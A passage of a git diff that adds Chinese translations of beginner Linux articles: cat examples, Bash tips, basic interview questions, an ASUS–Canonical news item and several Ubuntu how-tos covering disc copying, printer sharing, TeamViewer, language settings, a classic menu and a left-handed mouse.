同时查看2个文件中的内容 ### + +位于/root文件夹里有两个文件取名linux及desktop,每个文件含有以下内容 : + +**Linux** : ubuntu, centos, redhat, mint and slackware + +**Desktop** : gnome kde, xfce, enlightment, and cinnamon + +当你想同时查看两文件中的内容时,可按如下方法 : + + # cat /root/linux /root/desktop + + ubuntu + centos + redhat + mint + slackware + gnome + kde + xfce + enlightment + cinnamon + +### 9. 排序显示 ### + +类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort** ,通过管道符对内容进行排序显示。举例 : + + # cat /root/linux | sort + + centos + mint + redhat + slackware + Ubuntu + +### 10. 输入重定向 ### + +你也可将显示结果输出重定向到屏幕或另一个文件。 只需要使用 > 符号(大于号)即可输出生成到另一个文件。 + + # cat /root/linux > /root/linuxdistro + +以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件. + +### 11. 新建文件 ### + +Linux下有多种方法新建文件。其中使用cat就是方法之一. + + # cat > operating_system + + Unix + Linux + Windows + MacOS + +当你输入cat > operating_system,它会生成一个operating_system的文件。然后下面会显示空行。此时你可输入内容。比如我们输入Unix, Linux, Windows 和 MacOS, 输入完成后,按**Ctrl-D**存盘退出cat。此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件。 + +### 12.向文件中追加内容 ### + +当你使用两个 > 符时, 会将第一个文件中的内容追加到第二个文件的末尾。 举例 : + + # cat /root/linux >> /root/desktop + + # cat /root/desktop + +它会将 /root/linux的内容追加到/root/desktop文件的末尾。 + +第二个文件的内容将会变成这样: + + gnome + kde + xfce + enlightment + cinnamon + ubuntu + centos + redhat + mint + slackware + +### 13. 重定向输入 ### + +你可使用 **<**命令(小于号)将文件输入到cat中. + + # cat < /root/linux + +上面命令表示 /root/linux中的内容作为cat的输入。屏幕上显示如下 : + + ubuntu + centos + redhat + mint + slackware + +为了更清楚表示它的意义,我们使用以下命令 : + + # cat < /root/linux | sort > linux-sort + +此命令这样理解: **从/root/linux中读取内容,然后排序,将结果输出并生成linux-sort新文件** + +然后我们看看linux-sort中的内容 : + + centos + mint + redhat + slackware + ubuntu + +以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们. + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/13-cat-command-examples/ + +译者:[hongchuntang](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201312/7 Tips For Becoming A Linux Terminal Power User.md b/published/201312/7 Tips For Becoming A Linux Terminal Power User.md new file mode 100644 index 0000000000..e3efdc834a --- /dev/null +++ b/published/201312/7 Tips For Becoming A Linux Terminal Power User.md @@ -0,0 +1,69 @@ +成为 Linux 终端高手的七种武器 +================================================================================ +Linux 终端不仅是一个键入命令的地方。如若你能熟谙这些基础技巧,那么你会在绝大多数 Linux 发行版的默认使用的 Bash shell中游刃有余。 + +这是howtogeek.com 网站特供给初级用户升级打怪时不能忘记携带的七种武器—— + +###1.Tab 补全### + + 这样能节省时间,并且对于输入那些你不很确定其具体名称的文件和命令来说很方便。比如,当前目录下有一个名为“really long file name”的文件,你想要删除它。你可以输入完整的文件名,但是你必须确保正确地输入了空格和每个字母。若当前目录下还有许多以字母“r”开头的文件,(如果你没有正确地输入字符) Bash 将不知道你想要删除哪一个文件。 + +如果在当前目录下存在着另一个名为“really very long file name”的文件,你敲击了Tab键。Bash +将为所有以“r”开头的文件自动补充“really\ ”部分。此时继续敲击Tab键,你将得到匹配所有文件名的列表。 + +###2.管道机制### + +这种机制允许你把一条命令的输出传送到另一条命令。按照 UNIX 哲学,每个程序都足够小,只做一件事并将之做到最好。例如,ls命令列出当前目录下的所有文件,grep命令搜索输入其中的指定检索项。 + +你可以通过管道机制(|字符)把二者结合起来,在当前目录下搜索文件。以下给出的命令(在当前文件夹下)搜索关键字为“word”的文件: + + ls | grep word + +###3.通配符### + +“*”(星号)字符是一种匹配任意长度字符的通配符。比如,你想删除当前文件夹下名为“really long file name”和“really very long file name”的两个文件,你可以运行以下命令: + + rm really*name + +这条命令会删除所有以“really”开头以“name”结尾的文件。但是,如果你运行的是 rm * 这条命令,你将会删除文件夹下的所有文件。(译注:使用通配符时要小心,尤其是你的rm没有-f确认时!) + +###4.输出重定向### + +“>”字符可以把一条命令的输出重定向到一个文件或另一条命令。比如,下面这行命令执行完 ls 后会列出当前文件夹下的所有文件,其结果不是在终端显示,而是输出到当前文件夹下一个名为“file1”的文件中去: + + ls > file1 + +###5.历史记录### + +Bash 能记住你以前输入过的命令,上、下方向键可以逐行调出它们。使用 history 命令打印历史记录,以管道机制 grep 选择性地输出你想要的结果。 + + ~ + . + .. + +“~”,也叫做波浪符,用来表示当前用户的主目录。相比通过 cd /home/name 到达你的主目录,你可以输入 cd ~ 来达到相同效果。这点也可以在相关路径上使用:比如 cd ~/Desktop 能够到达当前用户的 Desktop 目录。 + +同样,“.”代表当前目录,“..”代表当前目录的父目录。使用 cd .. 可以返回上一级目录。它们也可以用在相关路径上,举例说明:你当前处在 Desktop 文件夹下,通过 cd ../Documents 命令,你可以转到与 Desktop 共有同一父文件夹的 Documents 文件夹去。 + +(译注:“-”代表前一个目录,cd - 可以返回到前一个工作目录。) + +###6.后台命令### + +Bash 默认情况下会在当前终端下执行你键入的每条命令。通常这样是没有问题的,但是如果你想要在启动某个应用后继续使用终端呢?通过输入 firefox 启动火狐浏览器,你的终端将被错误提示等各种信息输出占据,直到你关闭火狐浏览器为止。在 Bash 中你可以通过在命令结尾添加“&”操作符来后台执行程序。 + + firefox & + +###7.条件执行### + +Bash 也可以连续执行两条命令。 第二条命令仅在第一条命令成功执行后才会开始执行。如要如此,你可以通过键入“&&”,也就是两个“&”字符进行分隔,在同一行输入两条命令。下面给出的命令会在等待 5 秒后运行 gnome-screenshot 工具: + + sleep 5 && gnome-screenshot + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=123564 + +译者:[SteveArcher](https://github.com/SteveArcher) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git "a/published/201312/Basic Linux Interview Questions and Answers \342\200\223 Part II.md" "b/published/201312/Basic Linux Interview Questions and Answers \342\200\223 Part II.md" new file mode 100644 index 0000000000..ba42c042de --- /dev/null +++ "b/published/201312/Basic Linux Interview Questions and Answers \342\200\223 Part II.md" @@ -0,0 +1,164 @@ +Linux 面试基础问题 - 2 +================================================================================ +继续我们这面试系列,在这篇文章里我们给出了10个问题。这些问题或者是在以后的文章中出现的问题不一定在面试中会被问到。然而通过这些文章我们呈现出的是一个交互的学习平台,这必将会对你有很大的帮助。 + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Basic-Interview-Questions-2.png) + +自本系列的上一篇文章[11个基本的 Linux 面试问题][1],我们分析了不同论坛对此作出的评论,这对我们将更好的文章提供给我们的读者是很重要的。我们付出了时间和金钱,那我们又渴望从你们身上得到什么回报呢?答案是没有的。如果你不能赞扬我们的工作,但恳请不要在评论中诋毁我们的工作。 + +如果你在文章中没有找到什么新的东西,但也请不要忘记它对某些人却是非常有用的,并且他或她会非常感激我们的工作。我们不能够让每一篇文章都使大家高兴。但我希望读者们能够尽量理解。 + +### Q.1:哪一条命令用于把用户登录会话记录在文件中? ### + +- macro +- read +- script +- record +- sessionrecord + +> **答**:‘script’ 命令是用来把用户登录的会话信息记录在文件里。这条命令能够用在 shell 脚本里面,或者直接在终端中使用。下面是一个例子,它记录了开始用 script 到输入 exit 结束之间的所有东西。 + +如下命令记录用户登录会话到一个文件中: + + [root@tecmint ~]# script my-session-record.txt + + Script started, file is my-session-record.txt + +记录的文件“my-session-record.txt”可以通过下述方式查看: + + [root@tecmint ~]# nano my-session-record.txt + + script started on Friday 22 November 2013 08:19:01 PM IST + [root@tecmint ~]# ls + ^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $ + ^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$ + +### Q.2:以下那一条命令可以用来查看内核日志信息 ### + +- dmesg +- kernel +- ls -i +- uname +- 以上全不是 + +> **答**:执行 'dmesg' 命令可以查看内核的日志信息。在上面的命令中,kernel 不是一个有效的命令,'ls -i' 是用来列出工作目录中文件的索引节点,而 'uname' 是用来显示操作系统信息的。 + + [root@tecmint ~]# dmesg + + Initializing cgroup subsys cpuset + Initializing cgroup subsys cpu + Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012 + KERNEL supported cpus: + Intel GenuineIntel + AMD AuthenticAMD + NSC Geode by NSC + Cyrix CyrixInstead + Centaur CentaurHauls + Transmeta GenuineTMx86 + Transmeta TransmetaCPU + UMC UMC UMC UMC + Disabled fast string operations + BIOS-provided physical RAM map: + ... + +### Q.3:哪一条命令是用来显示 Linux 内核发行信息的? ### + +- uname -v +- uname -r +- uname -m +- uname -n +- uname -o + +> **答**:‘uname -r’是用来显示内核的发行信息。其它参数‘-v’、‘-m’、‘-n’、‘o’分别显示内核版本、机器硬件名称、网络节点、主机名和操作系统。 + + [root@tecmint ~]# uname -r + + 2.6.32-279.el6.i686 + +### Q.4:那一条命令是被用来识别文件类型的? ### + +- type +- info +- file +- which +- ls + +> **答**:‘file’命令是用来识别文件类型的。其语法是‘file [选项] 文件名’。 + + [root@tecmint ~]# file wtop + + wtop: POSIX shell script text executable + +### Q.5:哪一条命令是被用来找一条命令的二进制文件、源和手册的所在的路径? ### + +> **答**:‘whereis’驾到!‘whereis’命令是用来找一条命令的二进制文件、源和手册的所在的路径。 + + [root@tecmint ~]# whereis /usr/bin/ftp + + ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz + +### Q.6:当用户登录时,默认情况下哪些文件会被调用作为用户配置? ### + +> **答**:在用户的目录下‘.profile’和‘.bashrc’会默认地被调用作为用户配置。 + + [root@tecmint ~]# ls -al + -rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile + -rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc + +### Q.7:‘resolve.conf’文件是什么的配置文件? ### + +> **答**:‘/etc/resolve.conf’ 是 DNS 客户端的配置文件。 + + [root@tecmint ~]# cat /etc/resolv.conf + + nameserver 172.16.16.94 + +### Q.8:哪一条命令是用来创建一个文件的软链接的? ### + +- ln +- ln -s +- link +- link -soft +- 以上都不是 + +> **答**:在 Linux 环境下,‘ls -s’是被用来创建一个文件的软链接的。 + + [root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf + +### Q.9:在Linux下,‘pwd’命令是‘passwd’命令的别名吗? ### + +> **答**:不是!默认情况下‘pwd’命令不是‘passwd’命令的别名。‘pwd’是‘print working directory’(显示工作目录)的缩写,也就是输出当前的工作目录,而‘passwd’在 Linux 中是被用来更改用户的帐号密码。 + + [root@tecmint ~]# pwd + + /home/tecmint + + [root@tecmint ~]# passwd + Changing password for user root. + New password: + Retype new password: + +### Q.10:在 Linux 中,你会怎样检测 pci 设备的厂商和版本。 ### + +> **答**:我们用的 Linux 命令是‘lspci’。 + + [root@tecmint ~]# lspci + + 00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1) + 00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1) + 00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1) + 00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1) + 00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1) + ... + +现在就到这里。我希望以上的问题也许对你很有用。在下星期我会再想出一些新的问题。到时请保持好的健康,继续关注我们并且与 Tecmint 保持联系喔! + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/ + +译者:[hyaocuk](https://github.com/hyaocuk) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2315-1.html diff --git a/published/201312/Canonical and ASUS Have Formed a Partnership in USA.md b/published/201312/Canonical and ASUS Have Formed a Partnership in USA.md new file mode 100644 index 0000000000..796ab54da3 --- /dev/null +++ b/published/201312/Canonical and ASUS Have Formed a Partnership in USA.md @@ -0,0 +1,29 @@ +Canonical和华硕在美国建立合作关系 +================================================================================ +**Canonical和华硕刚刚建立了合作关系,将在两款笔记本上搭载Ubuntu操作系统。** + +华硕现在提供了X201E和1015E两款搭载了Ubuntu操作系统的笔记本,企图强势进军教育市场。 + +“和Ubuntu以及捆绑在她之上的其他免费软件一样,在购买价格中不包括licence的费用,这将明显降低成本。这会十分对学生和各大院校的胃口,他们的经济都比较困难。” + +“办公类应用软件将会由LIbreOffice来提供。和通常一样,他们提供学生和工作人员需要的所有功能且与现有的文件完全兼容,他们也为邮件和浏览器捆绑了免费软件。”摘自ubuntu网站的[官方公告][1]。 + +这两款笔记本设计定位不在于性能强悍,设计定位为办公型,同时还可能针对一些多媒体内容的需求。华硕的1015E笔记本配备了Intel的Celeron 847 1.1GHz的处理器,2GB DDR3内存,320GB 5400转硬盘,以及一个10.1英寸的屏幕。 + +另一款已经脱销的产品华硕X201E则提供不多的性能提升:Intel Celeron 847(1.1GHz)Sandy Bridge处理器,4GB DDR3内存,320GB 5400转硬盘,11.6英寸的屏幕和Intel GMA HD显卡。 + +“成千上万的开源免费应用程序满足了从图像处理、3D动画到杀毒和会计的各类需求。” + +“我们知道高效的个人计算对于学生和各类院校来说是十分重要的。所以,和我们的小伙伴们一起为教育行业提供低成本而高效的应用是一件另人很兴奋的事。” + +Canonical在亚马逊的主页上发表了声明。但是如果你对于这些产品感兴趣,你应该了解他们同时在其他的商店中也能买到。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Canonical-and-ASUS-Have-Formed-a-Partnership-in-USA-404483.shtml + +译者:[stduolc](https://github.com/stduolc) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://insights.ubuntu.com/resources/article/asus-and-ubuntu-deliver-affordable-world-class-laptops-to-usa-education/ \ No newline at end of file diff --git "a/published/201312/Daily Ubuntu Tips \342\200\223 Copy CD & DVD Discs Using Ubuntu.md" "b/published/201312/Daily Ubuntu Tips \342\200\223 Copy CD & DVD Discs Using Ubuntu.md" new file mode 100644 index 0000000000..234a96a740 --- /dev/null +++ "b/published/201312/Daily Ubuntu Tips \342\200\223 Copy CD & DVD Discs Using Ubuntu.md" @@ -0,0 +1,47 @@ +每日Ubuntu小技巧 - 使用Ubuntu拷贝CD和DVD光盘 +================================================================================ + +Ubuntu是一个功能强大的现代操作系统,可以执行很多任务。你可以使用Ubuntu创建文档,浏览网页,聆听音乐,以及烧录或拷贝媒体光盘。 + +就像Windows和Max OS X一样,Ubuntu是无所不能的! + +这篇简单的手册将告诉你如何使用Ubuntu拷贝,翻录或烧录一张CD/DVD光盘。如果你有一张包含音频文件(音乐)或视频文件(电影)的光盘,并且你想要复制这张光盘(创建多个副本),使用Ubuntu会使你很容易做到。 + +如果你已经准备好想要拷贝进一张媒体光盘(CD/DVD)的音频或视频文件,Ubuntu也可以处理它。你可以在Ubuntu上安装很多的免费软件用于烧录或翻录一张CD/DVD光盘,但Ubuntu已经安装好一款默认的相关软件。接下来我们会使用这款默认软件去拷贝或翻录CD/DVD光盘。 + +Brasero光盘烧录机安装在UBuntu的每一个版本上。它是Ubuntu上默认的光盘烧录机。它被设计得足够简单,拥有诸多独特的特性来使得用户能够快速简便地创建光盘。 + +下面列出来的是Brasero的一些特性: +- 创建数据CD/DVD时自动过滤隐藏和损坏的文件 +- 同时支持多个会话,可以执行磁盘文件的完整性检查 +- 可以即时烧录视频CD/DVD +- 可以镜像CD/DVD内容到硬盘 +- 可以擦除可擦写CD/DVD + +还有很多其它的功能。如果你想找一个Ubuntu上简便的磁盘刻录机,在做任何操作前请先看看这个软件。 + +要开始使用Brasero去烧录CD/DVD光盘,请确保你的电脑安装了CD/DVD烧录机。如果没有,显然你无法烧录。如果你的电脑符合要求,将你想要翻录的数据光盘插入CD/DVD,然后进入Dash,搜索Brasero。 + +当Brasero打开后,选择磁盘拷贝。这个功能会拷贝一个光盘里的内容,然后将其写入到另一个光盘中。如果这是你想要的,请继续。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/braseroubuntucdburner.png) + +如果Ubuntu能够访问你的CD/DVD烧录机,Brasero会打开并自动识别光盘内容。在这里,你可以单击 **复制** 从源光盘创建一个拷贝。如果你希望创建多个拷贝,单击按钮 **创建多个拷贝**。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/ubuntubraserocdburner.png) + +当系统提示安装所需的软件包时,单击 **安装**。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/ubuntubraserocdburner1.png) + +安装完成后,Brasero会开始拷贝光盘。如果最终光盘完成拷贝,系统会提示你插入一张空白的可写入的CD/DVD光盘以便写入拷贝。插入它然后等待完成将内容写入光盘的操作。 + +当你完成以上操作时,移除光盘,就可以使用烧录好的光盘了! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-copy-cd-dvd-discs-using-ubuntu/ + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201312/Daily Ubuntu Tips \342\200\223 Print From Shared Windows Printers.md" "b/published/201312/Daily Ubuntu Tips \342\200\223 Print From Shared Windows Printers.md" new file mode 100644 index 0000000000..a2baa08e4c --- /dev/null +++ "b/published/201312/Daily Ubuntu Tips \342\200\223 Print From Shared Windows Printers.md" @@ -0,0 +1,50 @@ +每日Ubuntu小技巧-使用Windows共享打印机进行打印 +=== + +对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户,这篇博文向你展示如何在Windows中共享一个打印机,并允许Ubuntu使用它来打印。 + +几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机,但为包括Ubuntu在内的Linux系统生产的并不多。所以,假如你有一台支持Windows的打印机,你可以在Windows机器上分享它,然后让其它系统来使用它来打印。 + +在几年之前,我遇到了这个问题,那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。(译注:除非是特别冷门的打印机,现在一般都可以在Linux进行打印操作了。在译者看来,本文的理由不成立,不过做法成立。) + +我在我的Windows机器上安装了打印机驱动,然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好,但是我的Ubuntu却无法使用它来打印,因为打印机并不支持LAN接口。 + +所以,我在Windows上共享该打印机,然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景,你可以按照下面的指导来操作。 + +首先,登入Windows,右击你要共享的打印机,然后点击‘**Printer properties(打印机属性)**’ + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png) + +接着,选择“**Sharing(共享)**”标签页,勾选‘**Share this printer(共享这台打印机)**’复选框来共享。记住共享打印机的名字,因为你要使用这个共享名来连接这台打印机。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png) + +最后,以管理员权限运行命令行终端,运行以下命令以便于文件和打印机可以通过防火墙实现共享。 + + netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes + +接着,登入Ubuntu中,选择顶部面板右边的**齿轮**,然后选择**系统设置...** + +系统设置打开后,选择打印机,然后点击**添加**。当跳出来一个窗口让你选择设备时,选择‘**Windows Printer via SAMBA(使用SAMBA的Windows打印机)**’。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png) + +键入Windows电脑的IP地址或者主机名,后面接着键入共享的打印机名。你可能需要键入你的windows验证信息(用户名和密码)。点击浏览来验证你是否可以看到打印机,当你完成这些后,就可以点击下一步继续。 + +接着,选择打印机品牌和型号。假如你在列表中看不到特定的型号,选择一个最接近它的然后继续。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png) + +以上这些都搞定了之后,你的打印机就已安装好,可以使用喽。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png) + +好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201312/Daily Ubuntu Tips \342\200\223 TeamViewer 9 Is Available For Download.md" "b/published/201312/Daily Ubuntu Tips \342\200\223 TeamViewer 9 Is Available For Download.md" new file mode 100644 index 0000000000..125a2fda4b --- /dev/null +++ "b/published/201312/Daily Ubuntu Tips \342\200\223 TeamViewer 9 Is Available For Download.md" @@ -0,0 +1,50 @@ +每日Ubuntu小技巧 - 使用TeamViewer连接远程桌面 +================================================================================ +TeamViewer,是一款热门的远程支持和桌面共享工具,并且它的Windows版、Mac OS X版和Linux版(包含Ubuntu)已经更新到版本 9 了。TeamViewer 允许你在任何地方通过网络控制任何电脑。 + +如果你在谈一桩生意或者帮助别人解决一些与电脑相关的问题,例如杀毒,又或者远程共享你的屏幕内容,那同样,它是一款功能强大的工具,值得拥有。 + +以下是这个支持工具如何使用的例子。 + +最近,我妈妈打电话给我说她想弄清楚如何安装一个程序。当我在电话中花了几分钟尝试帮她弄那个程序,不过都失败后,我决定自己来。 + +因此我们两个人都花了几分钟下载了 TeamViewer,我连接上了她的电脑并且帮她安装了那个程序。 + +这是一个 TeamViewer 如何帮助你解决问题的例子,如果你准备使用 TeamViewer 来帮助你的顾客或者是客户的话,你可能需要购买一个授权许可来遵守公司的政策。 + +我宁愿选择 TeamViewer 而不选择其它远程支持工具的另外一个原因是它允许你直接使用,无需安装,至少在 Windows 上是这样。如果你只使用一次的话,那么你只需要运行它,而它却不会占用你的磁盘空间。 + +现在 TeamViewer 能够在几乎所有操作系统上运行,包括 Android 和 IOS。 + +Windows 用户可以 [从这里下载 TeamViewer][1] + +Ubuntu 用户可以 [从这链接下载并运行 TeamViewer][2] + +在 Ubuntu 轻松安装 TeamViewer,运行下面的命令来下载安装程序 + + wget http://download.teamviewer.com/download/teamviewer_linux.deb + +对于 **64位操作系统**, 使用下面的链接. + + wget http://download.teamviewer.com/download/teamviewer_linux_x64.deb + +最后,运行下面的命令来安装。 + + sudo dpkg -i teamviewer_linux*.deb; sudo apt-get -f install + +去试试吧! + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/teamviewer9ubuntu.png) + +如果上述的命令不能成功运行的话,那么就去 TeamViewer [下载页面来下载][2]. + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-teamviewer-9-is-available-for-download/ + +译者:[hyaocuk](https://github.com/hyaocuk) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.teamviewer.com/en/download/windows.aspx +[2]:http://www.teamviewer.com/en/download/linux.aspx diff --git "a/published/201312/Daily Ubuntu Tips\342\200\223Change The Language You Use In Ubuntu.md" "b/published/201312/Daily Ubuntu Tips\342\200\223Change The Language You Use In Ubuntu.md" new file mode 100644 index 0000000000..ba1fb8dc73 --- /dev/null +++ "b/published/201312/Daily Ubuntu Tips\342\200\223Change The Language You Use In Ubuntu.md" @@ -0,0 +1,33 @@ +每日 Ubuntu 小技巧 - 更改 Ubuntu 使用语言 +================================================================================ +Ubuntu 是一个功能强大的现代化操作系统,并且它还允许你使用多种语言的桌面。在默认情况下,在你第一次安装 Ubuntu 的时候会预装几个语言包。但如果你想要你的 Ubuntu 能够支持更多语言的话,那你就必须安装额外的语言包。通常不是所有的语言都是支持的,但是大多数使用中的语言以及书面语言都能够被支持。下面是一个是简短教程,它将会展示如何去实现。 + +在安装语言包之后,你可以根据你的语言重命名标准文件夹,例如音乐、图片和文档。你必须注销系统然后重新登录来使变更生效。当你重新登录之后,你会看到一个弹窗并且询问你是否愿意重命名这些标准文件夹,从而使得文件名满足你的所选择的语言要求。 + +要想更改 Ubuntu 的使用语言,单击菜单栏右上角的 **齿轮**,并且选择 **System Settings(系统设置)**。在打开 System Settings(系统设置) 之后,选择 **Language Support(语言支持)**。 + +如果提示要你安装额外的语言支持,那就直接安装。如果没有,那么就单击 Install / Remove (安装/删除)去安装新的语言包,然后,选择你想安装的语言来安装。最后,拖动新的语言到列表的顶端并且保存。这些更改只会应用在你的个人帐号上。如果你想应用在全局范围内,单击 **Apply System-Wide(应用到全局设置)** 。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/10/language-ubuntu.png) + +拖动新的语言到列表的顶端。之后单击 Close。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/10/language-ubuntu-1.png) + +关闭之后注销系统。然后重新登录,你就会看到更改生效了。 + +同样,语言包的更改只是应用在你的个人帐号上。如果你想全局更改的话,你必须单击 Apply System-Wide。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/10/language-ubuntu-2.png) + +如果你选择了重命名标准文件夹,你必须重新登录才能看到变更。 + +好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/10/daily-ubuntu-tipschange-the-language-you-use-in-ubuntu/ + +译者:[hyaocuk](https://github.com/hyaocuk) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201312/Daily Ubuntu Tips\342\200\223Like GNOME Classic Menu\357\274\237 Get Classic Menu Indicator.md" "b/published/201312/Daily Ubuntu Tips\342\200\223Like GNOME Classic Menu\357\274\237 Get Classic Menu Indicator.md" new file mode 100644 index 0000000000..cdb3779044 --- /dev/null +++ "b/published/201312/Daily Ubuntu Tips\342\200\223Like GNOME Classic Menu\357\274\237 Get Classic Menu Indicator.md" @@ -0,0 +1,37 @@ +每日Ubuntu小技巧 - 使用旧式Gnome风格的菜单 +================================================================================ + +喜欢GNOME风格菜单?安装Class Menu Indicator吧。 + +对于那些从开始就一直关注Ubuntu操作系统的人,他们看见几乎所有的Ubuntu经历的改变。发生了许多的改变,尤其是在桌面部分。从经典的GNOME桌面环境到Unity,Ubuntu已经完全地重新设计了。 + +对于那些新用户,他们所知道的就是Unity桌面环境,仅仅只是听说过或者见过之前Ubuntu的原始GNOME桌面环境。 + +如果你是一个老资格用户,想要在Ubuntu的Unity回到GNOME风格的菜单,安装Classic Menu Indicator 可以解决这个问题。这个有趣的包被安装在顶部面板的通知区域,在Ubuntu中带回了GNOME风格菜单体验。 + +像经典的GNOME菜单一样,它包括所有的应用和经典菜单结构。对于曾经使用过它的人们是容易导航和开启应用。对于新用户,它也是容易掌握。 + +接下来的简短指导将会告诉你如何在Ubuntu中安装这个包。 + +马上开始,在键盘上按下 **Ctrl – Alt – T** 打开终端。 + +打开完毕后,运行下列命令,加入它的PPA文件 + + sudo apt-add-repository ppa:diesch/testing + +接来下,运行下列命令安装它。 + + sudo apt-get update && sudo apt-get install classicmenu-indicator + +安装完成后,在Unity Dash中启动。它叫Classic Menu Indicator。当你启动它的时候,它会自动的嵌入顶部面板,如下图。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/classic-menu-indicator.png) + +就是这样,使用并享受吧! +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipslike-gnome-classic-menu-get-classic-menu-indicator/ + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git "a/published/201312/Daily Ubuntu Tips\342\200\223Make The Mouse Left-handed For Left Hand Users.md" "b/published/201312/Daily Ubuntu Tips\342\200\223Make The Mouse Left-handed For Left Hand Users.md" new file mode 100644 index 0000000000..879fade72e --- /dev/null +++ "b/published/201312/Daily Ubuntu Tips\342\200\223Make The Mouse Left-handed For Left Hand Users.md" @@ -0,0 +1,32 @@ +每日Ubuntu小技巧-让鼠标适合左利手用户 +================================ + +电脑的鼠标被设计成使用食指(大拇指旁边的那个手指)完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时,多数情况下你会使用食指完成点击动作。 + +事实上,许多左利手用户(俗称左撇子)习惯把鼠标放到键盘的左边,然后用中指进行单击操作。但这并不是左利手用户使用鼠标最好的方法。 + +这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。 + +这个教程同样适用于右利手用户。如果鼠标为左利手用户设置,那么右利手用户可以使用这个教程将鼠标键切换回来。 + +好了,现在咱们开始吧,点击顶部右端面板中的齿轮按钮选择**System Settings(系统设置)**... + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed.png) + +然后在系统设置选项中选择**Mouse & Touchpad 